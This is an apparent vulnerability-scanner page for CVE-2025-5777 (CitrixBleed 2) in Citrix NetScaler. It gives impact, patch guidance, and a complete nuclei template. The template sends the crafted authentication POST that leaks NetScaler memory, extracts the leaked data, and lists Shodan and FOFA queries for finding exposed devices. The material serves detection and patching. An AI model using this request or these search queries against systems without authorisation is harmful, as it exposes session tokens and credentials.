Citrix NetScaler Memory Disclosure - CitrixBleed 2

Exploited in the wild. Listed by CISA on 2025-07-10; known to be used by ransomware.

criticalseverity

7.5CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway

Impact

Unauthenticated attackers can trigger memory overread conditions to leak sensitive information from NetScaler memory, potentially exposing session tokens and credentials similar to CitrixBleed.

Fix

Apply the security patches as described in Citrix support article CTX693420 and restrict access to the NetScaler Management Interface.

How to confirm it

Send: POST /p/u/doAuthentication.do
Positive when: len(iv) > 0 and contains(to_lower(header), "application/vnd.citrix.authenticateresponse") and !contains(body, "<InitialValue></InitialValue>") and !contains(to_string(iv), "false") and !contains(to_s…

Run it with nuclei: nuclei -id CVE-2025-5777 -u <target>

The full check

id: CVE-2025-5777

info:
  name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
  author: watchtowr,DhiyaneshDk,darses
  severity: critical
  description: |
    Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
  impact: |
    Unauthenticated attackers can trigger memory overread conditions to leak sensitive information from NetScaler memory, potentially exposing session tokens and credentials similar to CitrixBleed.
  remediation: |
    Apply the security patches as described in Citrix support article CTX693420 and restrict access to the NetScaler Management Interface.
  reference:
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
  classification:
    cve-id: CVE-2025-5777
    cwe-id: CWE-457
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.99972
    epss-percentile: 0.99979
    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*,cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - title:"NetScaler Gateway"
      - title:"NetScaler AAA"
      - http.favicon.hash:-1166125415
      - http.favicon.hash:-1292923998
    fofa-query:
      - title="NetScaler Gateway"
      - title="NetScaler AAA"
      - icon_hash="-1166125415"
      - icon_hash="-1292923998"
  tags: cve,cve2025,netscaler,citrix,exposure,kev,vkev,vuln

http:
  - raw:
      - |+
        POST /p/u/doAuthentication.do HTTP/1.0
        Host: {{Hostname}}
        bleed_attack: {{iteration}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 5

        login

    unsafe: true
    payloads:
      iteration:
        - "{{rand_int(1,5)}}"

    extractors:
      - type: regex
        name: iv
        part: body
        group: 1
        regex:
          - '<InitialValue>([^<]{10,})</InitialValue>'
        internal: true

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'len(iv) > 0'
          - 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
          - '!contains(body, "<InitialValue></InitialValue>")'
          - '!contains(to_string(iv), "false")'
          - '!contains(to_string(iv), "true")'
          - '!regex("^[A-Za-z0-9+/=\\s]+$", iv)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from